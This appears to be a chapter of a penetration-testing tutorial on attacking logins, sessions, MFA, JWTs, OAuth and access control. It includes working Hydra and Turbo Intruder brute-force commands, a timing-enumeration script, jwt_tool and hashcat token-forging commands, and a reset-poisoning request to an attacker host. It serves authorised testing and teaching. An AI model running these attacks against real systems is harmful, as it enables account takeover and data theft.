Authentication, Session & Access-Control Testing in Practice
Authentication, Session & Access-Control Testing in Practice
This is Chapter 3 of the Web Application Pentest notebook. Chapter 1 gave you the method — the OWASP Web Security Testing Guide and a phased workflow — and Chapter 2 turned one in-scope hostname into a complete map of paths, parameters, methods and hidden endpoints. Now you have a map. This chapter is about attacking the single most valuable part of that map: the boundary that decides who you are and what you are allowed to touch.
Almost every application splits into two questions. Authentication answers "are you who you say you are?" — the login form, the password reset, the multi-factor prompt, the OAuth redirect. Authorisation (access control) answers "now that we know who you are, are you allowed to do this?" — the check that stops user 1001 from reading order 1002, or a support agent from hitting the admin panel. Between them sits session management: the machinery that remembers you passed the login so the server does not re-authenticate every single request. Break any of the three and the application's entire security model collapses, no matter how clean its input handling is.
This is not an accident of emphasis. Year after year, broken access control and authentication failures sit at the top of the OWASP Top 10 (A01: Broken Access Control and A07: Identification and Authentication Failures in the 2021 list), and IDOR-class bugs are consistently among the highest-frequency, highest-paying categories on HackerOne and Bugcrowd. They pay because they are business logic bugs — a horizontal IDOR that leaks every customer's invoices is worth more to an attacker and to a program than a reflected XSS that needs a victim to click a link. They are common because they cannot be fixed by a library: a WAF can pattern-match a SQL injection payload, but it has no idea that this user should not be allowed to see that record. Only the application's own logic knows, and that logic is written by humans under deadline.
Everything in this chapter assumes you are inside an authorised scope with explicit permission to test the accounts, credentials and data involved. Authentication testing means sending other people's-shaped requests, brute-forcing logins, and reading records that are not "yours" in the demo sense — all of which is illegal and unethical outside a signed engagement or an in-scope bug-bounty program. Use dedicated test accounts the client provisioned for you, never real customer credentials, and stay inside the rate limits and data-handling rules your rules of engagement set. When you find an IDOR, prove it with the minimum data needed to demonstrate impact — one other record, screenshotted and redacted — not a full dump.
Part 1: The Three Boundaries and Why They Fail Together
Before touching a tool, build the mental model. A request to a protected resource passes through three gates in order, and a tester probes each independently because each fails in its own characteristic way.
flowchart LR
A[Anonymous request] --> B{Authentication<br/>Who are you?}
B -->|Valid creds| C{Session<br/>Prove it each request}
B -->|Invalid| X[401 / login]
C -->|Valid session token| D{Authorisation<br/>Allowed to do this?}
C -->|No/forged token| X
D -->|Yes| E[Resource returned]
D -->|No| Y[403 / denied]
- Authentication is where identity is established, usually once, at
/login. It fails when you can guess, reset, brute-force, or entirely skip the credential check — or when it tells you which half of the credential was wrong. - Session management is where identity is remembered between requests via a cookie, bearer token, or JWT. It fails when the token is predictable, never expires, survives logout, can be fixed by an attacker, or is trusted despite being tampered with.
- Authorisation is where each request is checked against what this identity may
do. It fails when the check is missing (BOLA/IDOR — you swap an ID and get
someone else's object) or when it trusts a client-supplied role (privilege
escalation — you send
"role":"admin"and the server believes you).
The reason they fail together in practice is that developers reason about the "happy path" — a logged-in user clicking their own links — and forget the adversary who forges the token, skips the login, or edits the ID. Your job as a tester is to walk each gate deliberately and ask: what happens if I lie here?
A discipline that will save you hours: always test with (at least) two accounts of
the same privilege level (call them userA and userB) and one lower-privilege and
one higher-privilege account if the app has roles. Almost every access-control test
in this chapter is "do something as userA, capture the request, replay it with
userB's session (or no session), and see whether the server enforces the boundary."
Provision these before you start.
Part 2: Understanding the Login Flow Before You Attack It
You cannot test what you do not understand. Open Burp Suite (Chapter 2 taught its
installation and proxy setup; if you skipped it, the one-paragraph recap is: Burp is
an intercepting HTTP proxy — it sits between your browser and the target, logging and
letting you modify every request. Launch it, set your browser's proxy to
127.0.0.1:8080, install Burp's CA certificate so HTTPS works, and every request now
flows through the Proxy > HTTP history tab). With Burp running, perform one clean
login by hand and watch exactly what crosses the wire.
A typical form login looks like this in the raw request Burp captures:
POST /login HTTP/1.1
Host: target.example
Content-Type: application/x-www-form-urlencoded
Cookie: session=8f3a...; csrf=Xy9...
Content-Length: 51
username=alice&password=Summer2026%21&csrf=Xy9...And the response that establishes your session:
HTTP/1.1 302 Found
Location: /dashboard
Set-Cookie: session=k3Jd9x...; Path=/; HttpOnly; Secure; SameSite=LaxRead every line, because each is an attack surface:
| Element | What to note | Why it matters to a tester |
|---|---|---|
| HTTP method & path | POST /login vs POST /api/v2/auth |
API logins often lack the CSRF/rate-limit protections the web form has |
| Credential encoding | form-urlencoded, JSON, Basic auth | Changes how you fuzz; JSON APIs sometimes accept type-confusion ("password":true) |
| CSRF token | present? per-request or static? | A static or missing token means the flow may be brute-forceable and CSRF-able |
| Response on success | 302 vs 200 + JSON | Your brute-force "success" oracle depends on this — status, length, or body |
| Response on failure | generic vs "user not found" | A distinct message is a username-enumeration oracle (Part 3) |
Set-Cookie flags |
HttpOnly, Secure, SameSite |
Missing flags are real findings (Part 8) |
| Additional tokens | JWT in body, Authorization header |
Signals a token-based session you'll attack in Part 10 |
Pentester landing on a new login: send the successful and the failed login to Burp Repeater (right-click > Send to Repeater) so you have two reference requests you can mutate freely without re-typing credentials. Note the exact byte-length of each response — that number becomes your success/failure oracle for every automated attack that follows.
Part 3: Username Enumeration — Turning a Login Into a User Directory
Username enumeration is the quiet first step of almost every authentication attack: before you brute-force a password you want to know which usernames are real, so you are not wasting guesses on accounts that do not exist. An application "enumerates" users whenever it behaves observably differently for a valid username than for an invalid one — even if it never says "user not found" in words.
The differences leak through four channels:
flowchart TD
A[Submit username + wrong password] --> B{Observe response}
B --> C[Different message text?]
B --> D[Different HTTP status / redirect?]
B --> E[Different response length?]
B --> F[Different response time?]
C --> G[Enumeration oracle found]
D --> G
E --> G
F --> G
- Message text. "Incorrect password" for a real user vs "Unknown username" for a fake one is the classic tell. Subtler: a trailing period, a capital letter, or an extra whitespace character that differs between the two responses.
- HTTP status / redirect. A valid user might get a
200with the form re-rendered while an invalid one gets a302, or vice versa. - Response length. Even when the visible message looks identical, one branch may
include an extra hidden field, a different CSRF token length, or a whitespace
difference — so the
Content-Lengthdiffers by a few bytes. This is the single most common enumeration oracle and the one beginners miss because the page looks the same in a browser. - Response time. If the app hashes the submitted password only when the username exists (to compare against the stored hash) but short-circuits for unknown users, a real username takes measurably longer — often 100–400 ms with bcrypt. This is a timing oracle and it works even when text, status and length are identical.
Hands-on: enumerating with Burp Intruder
Burp Intruder is Burp's built-in fuzzing engine: you mark positions in a request, give it a payload list, and it replays the request once per payload, tabulating the responses. It is the workhorse for enumeration and brute-forcing. Here is the full workflow from scratch.
Send the failed-login request to Intruder (Ctrl+I). In the Positions tab, clear
Burp's auto-selected positions (Clear §), then wrap only the username value in
payload markers so it becomes the single injection point, keeping the password fixed
to a deliberately wrong constant:
POST /login HTTP/1.1
Host: target.example
Content-Type: application/x-www-form-urlencoded
username=§candidate§&password=WrongPassword123!Choose the Sniper attack type (one payload set, one position — perfect for a single field). Load a username wordlist in the Payloads tab; SecLists ships good ones:
# Kali: SecLists lives here after `sudo apt install seclists`
/usr/share/seclists/Usernames/top-usernames-shortlist.txt
/usr/share/seclists/Usernames/Names/names.txtStart the attack. In the results table, add a Length column (it is there by
default) and sort by it. If valid usernames produce a different length than invalid
ones, they cluster and jump out instantly. For message-based oracles, add a Grep –
Extract or Grep – Match rule (Intruder > Options > Grep – Match, add the
string Invalid username) and Intruder flags every response containing it.
Realistic Intruder results table when a length oracle exists:
Payload Status Length Comment
--------------------------------------------
administrator 200 3421 <- longer: user exists
alice 200 3421 <- user exists
bob 200 3421 <- user exists
zzzsysadmin 200 3388 invalid
notreal 200 3388 invalid
guest 200 3421 <- user exists
The 33-byte difference is the whole finding: administrator, alice, bob, and
guest exist; the rest do not. You have converted a login form into a user directory.
Timing-based enumeration
When length and text are identical, script the timing oracle. This Python snippet submits each candidate with a deliberately long password (so the server spends real time hashing only for valid users) and records response time:
import requests, statistics, time
URL = "https://target.example/login"
LONG_PW = "A" * 100 # forces full hash comparison when user exists
candidates = ["administrator", "alice", "notreal", "bob", "ghost"]
for user in candidates:
times = []
for _ in range(5): # average out network jitter
t0 = time.perf_counter()
requests.post(URL, data={"username": user, "password": LONG_PW})
times.append(time.perf_counter() - t0)
print(f"{user:15} median={statistics.median(times)*1000:6.1f} ms")Sample output — the valid accounts stand out by a clear margin:
administrator median= 312.4 ms
alice median= 305.1 ms
notreal median= 48.7 ms
bob median= 298.9 ms
ghost median= 47.2 ms
Where else usernames leak: registration ("this email is already registered"), password reset ("we've sent a reset link" for real users vs "no account found"), and verbose API errors. The fix a blue team applies — and the thing you flag as a finding — is uniform responses: identical message, status, length and (via a constant-time dummy hash) timing, whether or not the account exists.
Bug-bounty note: username/email enumeration on its own is often triaged as low/informational, but it is a force-multiplier you almost always chain — enumerate to build a valid-user list, then credential-stuff or password-spray only those. Report it bundled with the impact it enables.
Part 4: Brute-Forcing and Password Attacks Done Properly
Once you know which usernames are real, the question is whether their passwords are guessable. There are four distinct attacks here and confusing them is a common beginner error:
| Attack | Usernames | Passwords | Detection risk | When to use |
|---|---|---|---|---|
| Brute-force | one | many | high (many fails on one account) | single high-value account, weak lockout |
| Dictionary | one | curated wordlist | high | targeted, with OSINT-derived list |
| Password spraying | many | one (or few) common | low (few fails per account) | large user list, account-lockout in place |
| Credential stuffing | leaked pairs | leaked pairs | medium | reuse from a breach corpus |
Password spraying deserves emphasis because it defeats the standard defence. Most
apps lock an account after N failed passwords. Spraying flips the loop: try one
common password (Winter2026!, Company@123) across every enumerated user before
moving to the next password. Each account sees only one failure per round, so the
lockout never triggers, and in a large org someone always used the season-plus-year
pattern.
Tool from scratch: Hydra
hydra is a fast, parallelised network login brute-forcer that speaks many protocols
(HTTP forms, SSH, FTP, RDP, SMB, and more). It ships on Kali; install elsewhere with
sudo apt install hydra. Its power and its footgun are the same thing: it is fast,
so on a real engagement you throttle it (-t) to respect rate limits and avoid
knocking the service over.
The hardest part of Hydra against a web form is the http-post-form module string,
which has three colon-separated fields: the path, the POST body (with ^USER^ and
^PASS^ placeholders), and a failure string Hydra greps for to decide a login
failed.
hydra -L users.txt -P /usr/share/wordlists/rockyou.txt \
target.example http-post-form \
"/login:username=^USER^&password=^PASS^:Invalid username or password" \
-t 4 -f -VFlag by flag:
-L users.txt— a list of usernames (lowercase-lfor a single username).-P rockyou.txt— a list of passwords (uppercase; lowercase-pfor a single password).rockyou.txtis the canonical 14-million-line leaked-password list, gzipped at/usr/share/wordlists/rockyou.txt.gzon Kali —gunzipit first.target.example— the host (addhttps-post-formand-S/port for TLS).- The module string — path, body, and the failure condition. If instead you know
the success string, prefix it with
S=(e.g.S=Location: /dashboard). -t 4— run 4 parallel connections. Default is 16; lower it to stay polite and under rate limits.-f— stop after the first valid pair is found for a host.-V— verbose: print every attempt so you can watch progress and confirm your form string is correct.
Sample output on success:
[DATA] attacking http-post-form://target.example:443/login...
[443][http-post-form] host: target.example login: alice password: password1
[STATUS] attack finished for target.example (valid pair found)
Brute-forcing with Burp Intruder (Cluster Bomb)
When the form has a CSRF token or other per-request state, Hydra's simple grep model struggles and Burp is cleaner. For a two-variable attack — many usernames × many passwords — use Intruder's Cluster Bomb attack type, which iterates every combination of two payload sets:
POST /login HTTP/1.1
Host: target.example
Content-Type: application/x-www-form-urlencoded
username=§alice§&password=§password§Set payload set 1 to your username list, payload set 2 to your password list, run, and sort by response length or status to find the anomalous "success" row. For spraying specifically, use Pitchfork if you have paired lists, or simply put one password in set 2 and all users in set 1 with the Sniper/Battering ram type.
Handling per-request CSRF tokens: if each login page issues a fresh token, a naive
Intruder run fails because the token goes stale. Burp's macros (Project options >
Sessions) or the community extension "Request Timer"/"CSRF Token Tracker" can
fetch a fresh token before each attempt. The professional move is often to test the
API endpoint directly, which usually skips CSRF entirely — this is why Part 2 told you
to note whether an /api/auth path exists.
Red team usage: password spraying is the bread-and-butter initial-access technique against Office 365, VPN portals and OWA precisely because it stays under lockout thresholds; the same logic applies to any web login. Blue team usage: the detection signature is not "many failures on one account" (that is classic brute-force) but "one or two failures across many accounts in a short window, often from one source IP or ASN" — covered in Part 13.
Part 5: Default, Weak, and Leaked Credentials
Before elaborate attacks, try the boring ones — they win constantly. A large fraction of real compromises start with a credential that was never guessed at all: it was shipped as a default, reused from a breach, or set to something trivial.
- Default credentials. Admin panels, routers, database consoles, Jenkins, Tomcat,
Grafana, and countless appliances ship with documented defaults (
admin:admin,tomcat:tomcat,admin:password). SecLists'Passwords/Default-Credentials/directory and thedefault-passwords.csvlist are your reference. If Chapter 2's content discovery turned up/manager/html(Tomcat) or/admin, try the vendor defaults first. - Weak passwords on real accounts. Once you have a valid username, a short curated
list (
Password1,Welcome1,Company@2026, the season-year pattern) often lands faster than rockyou. - Leaked/reused credentials (credential stuffing). If the target's users appear in known breach corpora, reused passwords let you log in with a legitimate pair — no brute-force noise at all. On an authorised engagement this is scoped carefully; in bug bounty it is usually out of scope unless the program explicitly allows it.
CTF/lab relevance: almost every beginner HackTheBox/TryHackMe web box has a default or trivially weak credential somewhere — it is often the intended foothold, so a five-minute default-cred check before deep testing pays off constantly.
Part 6: Attacking Password Reset and Account Recovery
The password-reset flow is a second, parallel authentication path — and because it is built to let a user bypass knowing their password, it is a rich source of full account-takeover bugs. Test it as carefully as the login itself. There are five recurring flaw families.
flowchart TD
A[Request reset for victim] --> B{How is the token generated?}
B -->|Predictable / sequential| C[Guess or enumerate token]
B -->|Sent to attacker-controlled address| D[Host header / email param poisoning]
B -->|Never expires / reusable| E[Replay old token]
A --> F{Where does the flow trust input?}
F -->|Username/email in body| G[Change recipient to victim]
F -->|Answer-based recovery| H[Guess weak security questions]
C --> Z[Account takeover]
D --> Z
E --> Z
G --> Z
H --> Z
-
Predictable reset tokens. If the token in the reset link is sequential, a timestamp, a short number, or an MD5 of the username, you can generate the victim's token yourself. Request a reset for your own account, inspect the token's structure, and see whether it is a function of guessable inputs.
-
Host-header / reset-link poisoning. Many apps build the reset URL from the incoming
Hostheader (or anX-Forwarded-Host). Change it and the victim's email contains a link pointing at your server, which captures the token when they click:POST /forgot-password HTTP/1.1 Host: attacker.evil Content-Type: application/x-www-form-urlencoded email=victim@target.exampleThe victim receives
https://attacker.evil/reset?token=…. When they click, your server logs the token; you complete the reset against the real host. -
Recipient parameter tampering. Some flows include the destination in the request body or a hidden field. Supplying an extra or overridden email/phone can redirect the reset to you:
email=victim@target.example&email=attacker@evil.comParameter pollution like this sometimes sends the token to the second value.
-
Token never expires / is reusable. Capture a reset token, use it, then try the same link again — or wait a day and try. A token that works twice, or long after issue, widens the attacker's window dramatically.
-
Weak knowledge-based recovery. "What is your mother's maiden name?" style questions are often OSINT-able or brute-forceable with no rate limit.
Also test the reset flow for username enumeration (Part 3) — "a link has been sent" for real users vs "no account with that email" for fakes is one of the most common enumeration oracles in the wild.
Part 7: Multi-Factor Authentication (MFA) Bypasses
MFA is supposed to make a stolen password useless. In practice it is frequently implemented as a bolt-on that the rest of the app fails to enforce consistently, and those seams are where you test. The bypasses fall into recognisable patterns.
- Response manipulation. The MFA-verify endpoint returns something like
{"mfa":"required"}or{"success":false}. If the client decides whether MFA passed based on that response, editing it in Burp (false→true,"required"→"verified") can walk you straight in. The server should enforce the decision; sometimes it does not. - Skipping the MFA step (forced browsing). After submitting the password you land on
/mfa. Try navigating directly to/dashboardor replaying an authenticated request captured from a fully-logged-in session. If the app issued a fully privileged session cookie before MFA and only relies on redirecting you to the MFA page, the session is already valid and the MFA gate is cosmetic. - Brute-forcing the OTP. A 6-digit code has a million possibilities — trivial to brute-force if there is no rate limit and no attempt cap. Test whether the verify endpoint locks after a handful of wrong codes, whether the code is reusable, and whether a new code invalidates old ones (it should).
- Code reuse / lack of binding. Does an OTP issued for
userAwork foruserB? Is the same code valid across multiple logins? Is it tied to the specific pending session, or just "a valid current code for anyone"? - Backup-code and "remember this device" abuse. Backup codes are often weaker (shorter, no rate limit). "Remember me" sets a token that skips MFA — if that token is predictable or not bound to the device, it is a bypass.
- Race conditions. Submitting the OTP verification many times in parallel can sometimes slip an extra attempt past the counter, or a login race can establish a session before MFA is registered as required.
Worked example: OTP brute-force with Turbo Intruder
rockyou won't help against a numeric OTP; you need all six-digit combinations at
speed. Burp's Turbo Intruder extension (install from the BApp Store) sends
thousands of requests with a custom Python driver — ideal here. A minimal driver:
def queueRequests(target, wordlists):
engine = RequestEngine(endpoint=target.endpoint,
concurrentConnections=30,
requestsPerConnection=100,
pipeline=False)
for i in range(1000000):
code = str(i).zfill(6) # 000000 .. 999999
engine.queue(target.req, code)
def handleResponse(req, interesting):
# flag any response that is NOT the generic "invalid code"
if 'Invalid code' not in req.response:
table.add(req)The request template marks the OTP field with %s:
POST /mfa/verify HTTP/1.1
Host: target.example
Cookie: session=<pending-mfa-session>
Content-Type: application/x-www-form-urlencoded
otp=%sIf the endpoint is unthrottled, the run finds the correct code and handleResponse
surfaces the single non-"Invalid code" response. That it worked at all is the
finding — a correctly built verify endpoint caps attempts and invalidates the pending
session after a few failures.
Bug-bounty note: MFA bypasses are consistently high-severity payouts because they defeat the control users trust most. The PortSwigger Web Security Academy has a dedicated authentication-vulnerabilities module with labs for every pattern above — listed in Part 14.
Part 8: Session Management Internals — Cookies, IDs and Flags
Once authentication succeeds, the server must remember you. It does so with a session token — most often a cookie carrying an opaque session ID that maps to server-side state, or a self-contained token (JWT) that is the state. Everything an attacker wants after login — impersonation, persistence, privilege — routes through stealing, forging, or fixing that token. Understand the cookie mechanics cold.
A Set-Cookie header carries the token plus attributes that are, individually, real
findings when missing or wrong:
Set-Cookie: session=k3Jd9x...; Path=/; Domain=target.example; Expires=...; HttpOnly; Secure; SameSite=Lax| Attribute | What it does | Failure when absent/misconfigured |
|---|---|---|
HttpOnly |
hides the cookie from document.cookie (JavaScript) |
Without it, any XSS can steal the session cookie directly |
Secure |
cookie only sent over HTTPS | Without it, the cookie leaks over any plaintext request/redirect |
SameSite |
controls cross-site sending (Strict/Lax/None) |
None (or absent, on old browsers) widens CSRF exposure |
Domain |
which hosts receive the cookie | Too-broad (.example.com) shares the session with every subdomain — one XSS on a marketing subdomain takes the app |
Path |
which paths receive the cookie | Rarely a strong control; note but don't over-rely |
Expires/Max-Age |
lifetime | No expiry means a stolen cookie is valid forever |
Checking flags quickly: Burp's Proxy > HTTP history shows every Set-Cookie; the
passive scanner flags missing HttpOnly/Secure automatically. In the browser,
DevTools > Application > Cookies lists them with flag columns. Any auth cookie missing
HttpOnly or Secure is a legitimate, reportable finding — modest on its own, serious
in combination with an XSS or a mixed-content path.
Session-token entropy and predictability
If the session ID is not random enough, an attacker can predict or brute-force a
valid one and hijack a session with no credential at all. Collect a few hundred tokens
(log in and out repeatedly, or use Burp Intruder to hammer the login and harvest
Set-Cookie values) and analyse them:
- Are they sequential or incrementing? (
user_id+ counter is a catastrophe.) - Do they decode (base64, hex) into something structured — a username, a timestamp, a small integer?
- Do fixed prefixes/suffixes shrink the real entropy?
Burp's Sequencer tool automates the statistical side: point it at the token in a response (Send to Sequencer, select the cookie), capture a few thousand samples, and it estimates the effective bits of entropy and runs FIPS randomness tests. A result well under ~64 bits of real entropy, or an obvious structure, is a serious finding.
Worth decoding by hand first: a token like dXNlcjoxMDAxOjE3MzA0… base64-decodes to
user:1001:1730… — a username, an ID and a timestamp — meaning you can forge another
user's session by editing the ID and re-encoding. This is shockingly common in
home-grown session schemes.
Part 9: Session Fixation, Logout Failures and Invalidation Bugs
Two classic session bugs have nothing to do with token strength and everything to do with lifecycle — when tokens are issued, rotated and destroyed.
Session fixation
The rule a secure app follows is: issue a brand-new session ID at the moment of login. When it does not — when the pre-login session ID is kept after authentication — an attacker who can set a victim's session ID before they log in ends up sharing an authenticated session with them.
sequenceDiagram
participant Attacker
participant Victim
participant Server
Attacker->>Server: Visit site, receive session=ABC (anonymous)
Attacker->>Victim: Trick victim into using session=ABC<br/>(link, XSS, or set-cookie on subdomain)
Victim->>Server: Log in while carrying session=ABC
Note over Server: BUG: server keeps ABC instead of<br/>issuing a fresh ID after login
Server-->>Victim: session=ABC is now authenticated
Attacker->>Server: Request with session=ABC
Server-->>Attacker: Authenticated as Victim
How to test: capture your session ID before logging in. Log in. Compare the session ID after login. If it is identical, the app does not rotate on authentication — session fixation is possible. Confirm impact by setting a known ID, logging in with it, and showing that the same ID is authenticated from a second browser.
Logout and invalidation failures
Logout should destroy the session server-side, not merely delete the client cookie. Test methodically:
- Log in, capture an authenticated request in Repeater.
- Log out in the browser.
- Replay the captured request. If it still returns the protected resource, logout did not invalidate the session server-side — the token lives on and a stolen copy is still usable after the user "logged out."
- Repeat the same test after a password change — changing the password should kill all other active sessions. If the old session survives a password change, a user who changes their password because they suspect compromise stays compromised.
- Check idle and absolute timeouts: does a session ever expire on its own? Leave one idle and replay hours later.
These are woven into almost every real assessment because they are trivially testable with just Repeater and yield genuine findings on a surprising fraction of apps.
Part 10: JSON Web Tokens (JWT) — Full Attack Surface
Modern APIs and SPAs frequently replace opaque server-side session IDs with JSON Web
Tokens: a self-contained, signed token the server hands you at login and trusts on
every subsequent request (usually in an Authorization: Bearer … header or a cookie).
Because the token carries its own claims (who you are, your role) and the server
trusts the signature rather than a lookup, JWT flaws convert directly into
impersonation and privilege escalation. This is one of the densest attack surfaces in
the chapter, so we build it from zero.
Structure
A JWT is three base64url-encoded parts joined by dots: header.payload.signature.
eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOiJhbGljZSIsInJvbGUiOiJ1c2VyIn0.3Rf...sig
- Header —
{"alg":"HS256","typ":"JWT"}— the algorithm and type. - Payload — the claims:
{"sub":"alice","role":"user","exp":1730000000}. This is base64, not encryption — anyone can read it. Never trust a JWT payload as secret. - Signature — a MAC/signature over
header.payloadusing either a shared secret (HMAC,HS256) or a private key (RSA/ECDSA,RS256). This is the only thing stopping you from editing the payload and being believed.
Decode any token instantly:
echo 'eyJzdWIiOiJhbGljZSIsInJvbGUiOiJ1c2VyIn0' | base64 -d 2>/dev/null; echo
# -> {"sub":"alice","role":"user"}Tool from scratch: jwt_tool
jwt_tool is the standard JWT swiss-army knife — it decodes, tampers, tests known
attacks, and cracks HMAC secrets. Install it:
git clone https://github.com/ticarpi/jwt_tool
cd jwt_tool && pip3 install -r requirements.txt
python3 jwt_tool.py <token> # decode + inspect
python3 jwt_tool.py <token> -M pb # run the "playbook" of common attacksThe core JWT attacks you test on every token:
flowchart TD
A[Capture JWT] --> B{alg header}
B -->|alg: none| C[Strip signature - alg=none bypass]
B -->|HS256| D[Crack weak secret offline]
B -->|RS256| E[Algorithm confusion RS256 to HS256]
A --> F{Header injection points}
F -->|jku / jwk| G[Point to attacker-hosted key]
F -->|kid| H[Path traversal / SQLi in kid]
C --> Z[Forge arbitrary claims]
D --> Z
E --> Z
G --> Z
H --> Z
-
alg:none. The spec allows analgofnone, meaning "unsigned." If the server accepts it, setalgtonone, edit the payload ("role":"admin"), and drop the signature entirely. A correctly configured server rejectsnonefor authenticated tokens.python3 jwt_tool.py <token> -X a # alg:none exploit, forge new token -
Weak HMAC secret (HS256 cracking). If the token is
HS256, its security rests entirely on the secret. If that secret is a dictionary word (secret, the app name, a default from a tutorial), crack it offline and then sign any token you want:python3 jwt_tool.py <token> -C -d /usr/share/wordlists/rockyou.txt # or with hashcat, mode 16500: hashcat -a 0 -m 16500 token.txt /usr/share/wordlists/rockyou.txtOnce you have the secret, forge a token with
"role":"admin"and a valid signature — the server cannot tell it from a legitimate one. -
Algorithm confusion (RS256 → HS256). If the server uses
RS256(asymmetric: verify with the public key), but its verification code is loose about the algorithm, you can switch the header toHS256and sign the token using the public key as the HMAC secret. The server, told it is HMAC, verifies with the public key it already trusts — and accepts your forgery. The public key is often literally published (/jwks.json, a TLS cert, or a/.well-known/endpoint).python3 jwt_tool.py <token> -X k -pk public.pem # key-confusion attack -
jku/jwkheader injection. These header fields tell the server where to get the verification key. If the server fetches the key from an attacker-controlled URL (jku) or trusts an embedded key (jwk) without pinning, you supply your own key pair, sign with your private key, and the server verifies with your matching public key. -
kidinjection. Thekid(key ID) header selects which key to use and is sometimes used to look up a file or database row. If it is concatenated into a path or a query, it may be vulnerable to path traversal (kid: "../../dev/null"→ empty key → sign with empty secret) or SQL injection. -
Claim tampering when signature is not verified at all. Astonishingly common in young APIs: the server decodes the JWT but never verifies the signature. Just edit
"role":"user"to"role":"admin", re-encode, and send. Always test this first — it is one edit in Burp.
Worked JWT tamper in Burp
Burp's JWT Editor extension (BApp Store) adds a tab that decodes the token, lets you edit claims in place, and re-signs (or strips the signature) with keys you supply. The manual flow without it:
# 1. Decode the payload
echo 'eyJzdWIiOiJhbGljZSIsInJvbGUiOiJ1c2VyIn0' | base64 -d
# {"sub":"alice","role":"user"}
# 2. Edit to escalate, re-encode (base64url, strip padding & translate +/ to -_)
echo -n '{"sub":"alice","role":"admin"}' | base64 | tr '+/' '-_' | tr -d '='
# 3. Reassemble header.payload.signature and send.
# If the app doesn't verify signatures, the old/blank signature is accepted.Blue team usage: JWTs should be validated with an allowlist of algorithms
(reject none, pin RS256), a strong secret or properly managed key, a checked exp,
and — for logout/revocation — a server-side denylist or short lifetimes, since a plain
JWT cannot otherwise be revoked before it expires.
Part 11: OAuth 2.0 and SSO Abuse
Many apps delegate login to a third party — "Sign in with Google/GitHub/Okta" — using OAuth 2.0 (authorisation) usually wrapped in OpenID Connect (authentication). Understanding the flow is prerequisite to attacking it. The common authorization code flow:
sequenceDiagram
participant User
participant Client as App (Client)
participant IdP as Identity Provider
User->>Client: Click "Sign in with Google"
Client->>User: Redirect to IdP<br/>(client_id, redirect_uri, scope, state)
User->>IdP: Authenticate + consent
IdP->>User: Redirect back to redirect_uri?code=AUTH_CODE&state=...
User->>Client: Deliver AUTH_CODE
Client->>IdP: Exchange code (+client_secret) for tokens
IdP->>Client: access_token + id_token
Client->>User: Establish local session
The high-value test points:
redirect_urivalidation. If the provider or client accepts aredirect_urithat is not strictly allow-listed — a different host, an open-redirect on the real host, a path/subdomain/@-trick, or a loose prefix match — the authorizationcode(or token, in implicit flow) is delivered to an attacker-controlled URL. This is the classic OAuth account-takeover primitive.- Missing/ignored
stateparameter.stateis the CSRF defence for OAuth. If the client does not generate and verify a per-requeststate, an attacker can perform a login CSRF — forcing a victim to log in to the attacker's account (or linking the attacker's IdP identity to the victim's session). codereuse / leakage. Authorization codes should be single-use and short-lived. Test replaying a code, and check whether it leaks viaRefererwhen the callback page loads third-party resources.- Implicit-flow token leakage. The older implicit flow returns the token in the URL
fragment — prone to leaking via history,
Referer, and open redirects. Its presence is itself worth noting. - Account linking without verification. If "link your Google account" trusts an email claim without verifying ownership, an attacker with a matching unverified email can attach their IdP identity to a victim account.
- Scope and
id_tokenvalidation. For OIDC, theid_tokenis a JWT — everything in Part 10 applies. Check that the client validates its signature,iss,aud, andexp, and does not simply trust theemail/subclaims.
Bug-bounty note: OAuth redirect_uri and state flaws are a recurring source of
full account-takeover reports precisely because the trust is spread across two systems
and each assumes the other checked. The PortSwigger Academy OAuth labs (Part 14) drill
each of these.
Part 12: Access Control — IDOR / BOLA and Privilege Escalation
This is the part that pays the mortgage. Access-control bugs are where you take a perfectly authenticated, perfectly session-managed request and simply ask for something that is not yours — and the server hands it over. OWASP calls the API version BOLA (Broken Object-Level Authorisation, API Security Top 10 #1); the classic web name is IDOR (Insecure Direct Object Reference). Same bug: the app uses a client-supplied identifier to fetch an object without checking that this user owns or may access that object.
Horizontal vs vertical
flowchart TD
A[Access-control bug] --> B[Horizontal: same privilege level]
A --> C[Vertical: escalate privilege]
B --> B1[IDOR/BOLA: userA reads userB's data]
B --> B2[Change id, uuid, account, filename]
C --> C1[User reaches admin function]
C --> C2[Forced browsing to /admin]
C --> C3[Tamper role/isAdmin parameter]
C --> C4[Mass assignment: add role in signup body]
- Horizontal — access another user's data at your own level. Order 1001 → 1002,
?user_id=alice→?user_id=bob,/api/invoices/8841→/8842. - Vertical — gain a higher privilege: a normal user reaching an admin-only
function, either by forced browsing to
/admin, by flipping arole/isAdminfield, or by mass assignment (adding"role":"admin"to a profile-update body the server binds straight onto the model).
The method: an authorisation matrix
The professional way to test access control is to build a small authz matrix — enumerate every sensitive action/endpoint and every role, then verify each cell. For a two-role app:
| Endpoint / Action | Anonymous | userA (owner) | userB (other user) | admin |
|---|---|---|---|---|
GET /api/orders/{A} |
401 (want) | 200 ✓ | 403 (want) — test! | 200 |
GET /api/orders/{B} |
401 | 403 (want) — test! | 200 ✓ | 200 |
POST /api/admin/users |
401 | 403 (want) — test! | 403 | 200 ✓ |
PATCH /api/users/{A} role field |
— | ignore role (want) | 403 | 200 |
Every bolded "test!" cell is a request you actually send and confirm the server denies. The bug is any cell where the server allows what it should deny.
Manual IDOR hunting workflow
- As
userA, exercise every feature that references an object by ID — view an order, download an invoice, open a message, load a profile. Note every request in Burp that contains an identifier: numeric IDs, UUIDs, usernames, filenames, base64 blobs, hashes. - Send a representative request to Repeater.
- Swap the identifier for one belonging to
userB(create real test data asuserBfirst so you know a valid "other" ID). - Send it with
userA's session. If you getuserB's data back, that is an IDOR. - Escalate the test: try removing the session entirely (unauthenticated access), try
changing the HTTP method (
GET→POST/PUT/DELETEon the same object), and try the API version of a web route (/orders/1002→/api/orders/1002), which often lacks the UI's checks.
Don't be fooled by non-sequential IDs. UUIDs and hashes are not an access
control — they are only obscurity. If a UUID appears anywhere the current user can see
it (a listing endpoint, a referral link, an email, a Location header, a websocket
message), you can harvest valid IDs and the IDOR stands. Test with real, discoverable
identifiers, not just guessed sequential ones.
Tool from scratch: Autorize
Autorize is a Burp extension (BApp Store) that automates the entire "replay every
request with a lower-privilege session" test — it is the single biggest time-saver for
access-control work. You give it the low-privilege user's session token; then you
browse the app as the high-privilege user, and for every request Autorize
automatically replays it stripped down to the low-priv session (and again with no
session) and colour-codes the result:
- Bypassed! (red) — the low-priv/no-auth replay got the same successful response → a real access-control failure.
- Enforced! (green) — the replay was correctly denied.
- Is enforced??? (please configure) (amber) — ambiguous; verify by hand.
Setup:
